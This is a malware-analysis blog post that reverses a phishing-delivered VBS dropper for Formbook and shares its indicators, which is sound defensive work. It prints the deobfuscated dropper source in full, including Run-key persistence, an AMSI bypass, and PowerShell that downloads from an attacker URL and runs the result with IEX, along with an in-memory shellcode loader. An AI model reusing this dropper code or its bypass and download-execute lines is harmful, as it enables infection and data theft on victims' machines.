VBS dropper reversing series - Act1: VBS to Formbook malware

This post is about reversing a VBS dropper from a recent campaign to deliver a variant of Formbook malware (MD5 hash: 9458c489c670d7573a281a2b784f9413). The VBS was delivered in phishing email and it’s available on MalShare [1] and VirusTotal [2]. It was sent to the victim user as Remittance_Advice_RF034815.vbs

The analysis was made for the script with the following hashes:

Chain of events

The chain of events after analyzing this dropper is the following:

Phishing URL sent in an email -> VBS script -> Persistence -> PowerShell -> fetch Launcher & FormBook malware -> Load launcher in memory -> Load in memory and Launch FormBook

Clean version

After removing the obfuscation, the script takes the following format. See the next section that explains key functionality of this dropper.

1 scriptPath=replace(WScript.ScriptFullName,WScript.ScriptName,"")
2 
3 SetPersistence()
4 RunPowerShell()
5 
6 ''if directory exists, quit this script, otherwise copy the script to C:\Users\<username>\AppData\Local\Microsoft
7 if scriptPath = "C:\Users\"+GetObject("new:F935DC26-1CF0-11D0-ADB9-00C04FD58A0B").UserName+"\AppData\Local\Microsoft" Then
8     WScript.Quit()
9 else
10    sCmd = "cmd /c copy" & scriptPath & WScript.ScriptName & " " & "C:\Users\"+GetObject("new:F935DC26-1CF0-11D0-ADB9-00C04FD58A0B").UserName+"\AppData\Local\Microsoft" & "/Y"
11    GetObject("new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B").Run sCmd,0
12 End if
13
14 ''Runs the PowerShell script: do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true);$tty='(New-Object Net.WebClient)'|IEX;[void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'http://logiservksa.com/js/ego/pan.jpg');$r78fd000sd= $mv -split '%' |ForEach-Object {[char][byte]"0x$_"};$y5jh62df0= $r78fd000sd -join ''|IEX
15 Sub RunPowerShell()
16     GetObject("new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B").Run "Powershell Set-PSReadlineOption -HistorySaveStyle SaveNothing" & ";$ObSJekpAvaYpmyBbkFPr='64!6F!20!7B!24!70!69!6E!67!20!3D!20!74!65!73!74!2D!63!6F!6E!6E!65!63!74!69!6F!6E!20!2D!63!6F!6D!70!20!67!6F!6F!67!6C!65!2E!63!6F!6D!20!2D!63!6F!75!6E!74!20!31!20!2D!51!75!69!65!74!7D!20!75!6E!74!69!6C!20!28!24!70!69!6E!67!29!3B!24!74!35!36!66!67!20!3D!20!5B!45!6E!75!6D!5D!3A!3A!54!6F!4F!62!6A!65!63!74!28!5B!53!79!73!74!65!6D!2E!4E!65!74!2E!53!65!63!75!72!69!74!79!50!72!6F!74!6F!63!6F!6C!54!79!70!65!5D!2C!20!33!30!37!32!29!3B!5B!53!79!73!74!65!6D!2E!4E!65!74!2E!53!65!72!76!69!63!65!50!6F!69!6E!74!4D!61!6E!61!67!65!72!5D!3A!3A!53!65!63!75!72!69!74!79!50!72!6F!74!6F!63!6F!6C!20!3D!20!24!74!35!36!66!67!3B!5B!52!65!66!5D!2E!41!73!73!65!6D!62!6C!79!2E!47!65!74!54!79!70!65!28!27!53!79!27!2B!27!73!74!65!6D!2E!27!2B!27!4D!61!6E!61!27!2B!27!67!65!6D!27!2B!27!65!6E!74!27!2B!27!2E!41!75!74!6F!6D!27!2B!27!61!74!69!6F!27!2B!27!6E!2E!41!27!2B!27!6D!27!2B!27!73!69!27!2B!27!55!74!69!6C!73!27!29!2E!47!65!74!46!69!65!6C!64!28!27!61!27!2B!27!6D!73!27!2B!27!69!49!27!2B!27!6E!69!74!46!61!27!2B!27!69!6C!65!64!27!2C!27!4E!6F!6E!40!40!40!27!2E!72!65!70!6C!61!63!65!28!27!40!40!40!27!2C!27!50!75!62!27!29!2B!27!6C!69!63!2C!53!27!2B!27!74!61!74!69!63!27!29!2E!53!65!74!56!61!6C!75!65!28!24!6E!75!6C!6C!2C!24!74!72!75!65!29!3B!24!74!74!79!3D!27!28!4E!65!77!2D!27!2B!27!4F!62!6A!65!27!2B!27!63!74!20!4E!65!27!2B!27!74!2E!57!65!27!2B!27!62!43!6C!69!27!2B!27!65!6E!74!29!27!7C!49!60!45!60!58!3B!5B!76!6F!69!64!5D!20!5B!53!79!73!74!65!6D!2E!52!65!66!6C!65!63!74!69!6F!6E!2E!41!73!73!65!6D!62!6C!79!5D!3A!3A!4C!6F!61!64!57!69!74!68!50!61!72!74!69!61!6C!4E!61!6D!65!28!27!4D!69!63!72!6F!73!6F!66!74!2E!56!69!73!75!61!6C!42!61!73!69!63!27!29!3B!24!6D!76!3D!20!5B!4D!69!63!72!6F!73!6F!66!74!2E!56!69!73!75!61!6C!42!61!73!69!63!2E!49!6E!74!65!72!61!63!74!69!6F!6E!5D!3A!3A!43!61!6C!6C!42!79!6E!61!6D!65!28!24!74!74!79!2C!27!44!6F!77!6E!6C!6F!61!64!53!74!72!69!6E!67!27!2C!5B!4D!69!63!72!6F!73!6F!66!74!2E!56!69!73!75!61!6C!42!61!73!69!63!2E!43!61!6C!6C!54!79!70!65!5D!3A!3A!4D!65!74!68!6F!64!2C!27!68!74!74!70!3A!2F!2F!6C!6F!67!69!73!65!72!76!6B!73!61!2E!63!6F!6D!2F!6A!73!2F!65!67!6F!2F!70!61!6E!2E!6A!70!67!27!29!3B!24!72!37!38!66!64!30!30!30!73!64!3D!20!24!6D!76!20!2D!73!70!6C!69!74!20!27!25!27!20!7C!46!6F!72!45!61!63!68!2D!4F!62!6A!65!63!74!20!7B!5B!63!68!61!72!5D!5B!62!79!74!65!5D!22!30!78!24!5F!22!7D!3B!24!79!35!6A!68!36!32!64!66!30!3D!20!24!72!37!38!66!64!30!30!30!73!64!20!2D!6A!6F!69!6E!20!27!27!7C!49!60!45!60!58';$DFG45DFG0=$ObSJekpAvaYpmyBbkFPr.Split('!') | forEach {[char]([Convert]::toint16($_,16))};$DFG45DFG0 -join ''|& (-Join ((111, 105, 130)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])}))",0
17 End Sub
18 
19 ''reverse strings
20 Function ReverseString(reversedstringin)
21     str1=len(reversedstringin)
22     a=Left(reversedstringin,1)
23     for i=1 to str1
24         str2=Left(reversedstringin,i)
25         if len(str2)>1 then
26             str3=Right(str2,1) & WNAMAtyqMM
27             WNAMAtyqMM=str3    
28         end if
29     next
30     ReverseString= WNAMAtyqMM & a
31 End Function
32 
33 ''set the registry key for persistence, name is: oYTRNvhEVyKOWT
34 Function SetPersistence()
35     GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv").SetStringValue &H80000001,"Software\Microsoft\Windows\CurrentVersion\Run","oYTRNvhEVyKOWT","C:\Users\"+GetObject("new:F935DC26-1CF0-11D0-ADB9-00C04FD58A0B").UserName+"\AppData\Local\Microsoft\" + WScript.ScriptName
36 End Function

Functionality

This section provides the key functionality of the analyzed VBS dropper.

The analyzed script first checks if it already exists in the path C:\Users\%USERNAME%\AppData\Local\Microsoft. If so, it quits. Otherwise, the script is copied to this directory (C:\Users\%USERNAME%\AppData\Local\Microsoft) (lines 7-12).

In order to achieve persistent execution (aka survive reboots), it sets - under the context of the user account it’s executed - the registry run key Software\Microsoft\Windows\CurrentVersion\Run named oYTRNvhEVyKOWT with value the name of the script (lines 34-36).

The main componenent of this dropper is the launch of PowerShell to fetch a resource from the URL http://logiservksa.com/js/ego/pan.jpg (lines 15-17)

The dropper makes use of reversed strings to evade signature detection and the function that reverses a given string is illustrated in lines 20-31.

Notes on PowerShell payload

The PowerShell payload exists in three variables: kVOHUVvHTAnXjotNr, XlrXkHOo and qVdbs. Assembling these three variables together we get the following payload:

Powershell Set-PSReadlineOption -HistorySaveStyle SaveNothing; $ObSJekpAvaYpmyBbkFPr='64!6F!20!7B!24!70!69!6E!67!20!3D!20!74!65!73!74!2D!63!6F!6E!6E!65!63!74!69!6F!6E!20!2D!63!6F!6D!70!20!67!6F!6F!67!6C!65!2E!63!6F!6D!20!2D!63!6F!75!6E!74!20!31!20!2D!51!75!69!65!74!7D!20!75!6E!74!69!6C!20!28!24!70!69!6E!67!29!3B!24!74!35!36!66!67!20!3D!20!5B!45!6E!75!6D!5D!3A!3A!54!6F!4F!62!6A!65!63!74!28!5B!53!79!73!74!65!6D!2E!4E!65!74!2E!53!65!63!75!72!69!74!79!50!72!6F!74!6F!63!6F!6C!54!79!70!65!5D!2C!20!33!30!37!32!29!3B!5B!53!79!73!74!65!6D!2E!4E!65!74!2E!53!65!72!76!69!63!65!50!6F!69!6E!74!4D!61!6E!61!67!65!72!5D!3A!3A!53!65!63!75!72!69!74!79!50!72!6F!74!6F!63!6F!6C!20!3D!20!24!74!35!36!66!67!3B!5B!52!65!66!5D!2E!41!73!73!65!6D!62!6C!79!2E!47!65!74!54!79!70!65!28!27!53!79!27!2B!27!73!74!65!6D!2E!27!2B!27!4D!61!6E!61!27!2B!27!67!65!6D!27!2B!27!65!6E!74!27!2B!27!2E!41!75!74!6F!6D!27!2B!27!61!74!69!6F!27!2B!27!6E!2E!41!27!2B!27!6D!27!2B!27!73!69!27!2B!27!55!74!69!6C!73!27!29!2E!47!65!74!46!69!65!6C!64!28!27!61!27!2B!27!6D!73!27!2B!27!69!49!27!2B!27!6E!69!74!46!61!27!2B!27!69!6C!65!64!27!2C!27!4E!6F!6E!40!40!40!27!2E!72!65!70!6C!61!63!65!28!27!40!40!40!27!2C!27!50!75!62!27!29!2B!27!6C!69!63!2C!53!27!2B!27!74!61!74!69!63!27!29!2E!53!65!74!56!61!6C!75!65!28!24!6E!75!6C!6C!2C!24!74!72!75!65!29!3B!24!74!74!79!3D!27!28!4E!65!77!2D!27!2B!27!4F!62!6A!65!27!2B!27!63!74!20!4E!65!27!2B!27!74!2E!57!65!27!2B!27!62!43!6C!69!27!2B!27!65!6E!74!29!27!7C!49!60!45!60!58!3B!5B!76!6F!69!64!5D!20!5B!53!79!73!74!65!6D!2E!52!65!66!6C!65!63!74!69!6F!6E!2E!41!73!73!65!6D!62!6C!79!5D!3A!3A!4C!6F!61!64!57!69!74!68!50!61!72!74!69!61!6C!4E!61!6D!65!28!27!4D!69!63!72!6F!73!6F!66!74!2E!56!69!73!75!61!6C!42!61!73!69!63!27!29!3B!24!6D!76!3D!20!5B!4D!69!63!72!6F!73!6F!66!74!2E!56!69!73!75!61!6C!42!61!73!69!63!2E!49!6E!74!65!72!61!63!74!69!6F!6E!5D!3A!3A!43!61!6C!6C!42!79!6E!61!6D!65!28!24!74!74!79!2C!27!44!6F!77!6E!6C!6F!61!64!53!74!72!69!6E!67!27!2C!5B!4D!69!63!72!6F!73!6F!66!74!2E!56!69!73!75!61!6C!42!61!73!69!63!2E!43!61!6C!6C!54!79!70!65!5D!3A!3A!4D!65!74!68!6F!64!2C!27!68!74!74!70!3A!2F!2F!6C!6F!67!69!73!65!72!76!6B!73!61!2E!63!6F!6D!2F!6A!73!2F!65!67!6F!2F!70!61!6E!2E!6A!70!67!27!29!3B!24!72!37!38!66!64!30!30!30!73!64!3D!20!24!6D!76!20!2D!73!70!6C!69!74!20!27!25!27!20!7C!46!6F!72!45!61!63!68!2D!4F!62!6A!65!63!74!20!7B!5B!63!68!61!72!5D!5B!62!79!74!65!5D!22!30!78!24!5F!22!7D!3B!24!79!35!6A!68!36!32!64!66!30!3D!20!24!72!37!38!66!64!30!30!30!73!64!20!2D!6A!6F!69!6E!20!27!27!7C!49!60!45!60!58';$DFG45DFG0=$ObSJekpAvaYpmyBbkFPr.Split('!') | forEach {[char]([Convert]::toint16($_,16))};$DFG45DFG0 -join ''|& (-Join ((111, 105, 130)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])}))

One more step to decode the encoded payload and we get the downloading functionality of this script:

do {
	$ping = test-connection -comp google.com -count 1 -Quiet
} until ($ping);

$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);

[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true);

$tty='(New-Object Net.WebClient)'|IEX;

[void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');

$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'http://logiservksa.com/js/ego/pan.jpg');

$r78fd000sd= $mv -split '%' |ForEach-Object {[char][byte]"0x$_"};

$y5jh62df0= $r78fd000sd -join ''|IEX

The above payload is blocked by the AMSI (Anti Malware Scan Interface).

The last part of the PowerShell script and the one that actually executes in memory the fetched resource, is the following:

(-Join ((111, 105, 130)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])}))

Which simply decodes to: IEX, an alias of PowerShell’s Invoke-Expression.

Response from the server

Pivoting in OSINT data, another URL of likely the same campaign was found: http://logiservksa.com/js/ego/mond.jpg. The response from the server was retrieved (hash: 0d892e07acadacf0247a71a23222c614) and the analysis revealed that it’s a URL encoded PowerShell script that loads in memory the .NET assembly Waves.dll (4c68d7a6c323cfc21da589bd49f8dad8). A hex encoded shellcode is given as input to Waves.dll.

After a little cleanup, the PowerShell script has the following structure:

1 function TZvIlBSg {
2    param($cqRuiJC)
3    $cqRuiJC = $cqRuiJC -split '(..)' | ? { $_ }
4    ForEach ($LvZxHLZf in $cqRuiJC){
5        [Convert]::ToInt32($LvZxHLZf,16)
6    }
7 }
8
9 [String]$VkrILdPBW='.NET assembly 4c68d7a6c323cfc21da589bd49f8dad8'
10 
11 [Byte[]]$TKum=TZvIlBSg $VkrILdPBW
12
13 $y='[System.Appdomain]' |IEX;
14
15 $g55=$y.GetMethod("get_CurrentDomain")
16
17 [String]$KFVA='hex encoded shellcode'
18 
19 $ewe0='$g55.Invoke($null,$null)' | IEX
20
21 $wwf5dd='$ewe0.Load($TKum)'
22
23 $wwf5dd| IEX
24 
25 [Byte[]]$KFVA2= TZvIlBSg $KFVA
26 
27 [Waves.YEWODSFM]::Y78HJ0R55('control.exe',$KFVA2)

An overview of the above script:

lines 1-7: function that decodes characters from hex line 9: loads the hex representation of .NET assembly (Waves.dll) in a variable line 11: decodes the .NET assembly from hex line 17: loads the hex representation of the gzip’ed version of Formbook in a variable line 21: loads the .NET assembly in memory line 23: executes the .NET assembly line 25: decodes the shellcode from hex line 27: gunzip Formbook and launch it

One of the things that stand out from the Waves.dll is usage of ConfuserEx v1.0.0 and the strings costura.mango.dll.zip (found in the resources of this .NET assembly) and aYMwFkPNDQUJNbHAZyEhRNLrOWPp in the References and Resources.

Indicators

URLs:

Persistence: Software\Microsoft\Windows\CurrentVersion\Run\oYTRNvhEVyKOWT

Path: C:\Users\%USERNAME%\AppData\Local\Microsoft

Hashes: Remittance_Advice_RF034815.vbs (dropper)

Remittance_Advice_Ref219433.vbs (dropper)

Waves.dll (launcher)

control.exe (FormBook variant)

References

[1]: https://malshare.com/sample.php?action=detail&hash=9c808e278fc991d32b57cafe475893d3

[2]: https://www.virustotal.com/gui/file/ec9de1debb009076784a9035657af44a640963c5b5ae372183c94286d233fe44/detection

[3]: https://github.com/yck1509/ConfuserEx

[4]: https://app.any.run/tasks/41c369cf-6a55-40ba-bef7-5b9f7299193d/

[5]: https://www.fireeye.com/blog/threat-research/2017/10/formbook-malware-distribution-campaigns.html

Acknowledgements

The analysis wouldn’t have been possible without contributions from schrodinger and TypeDefStruct!

tags: #reversing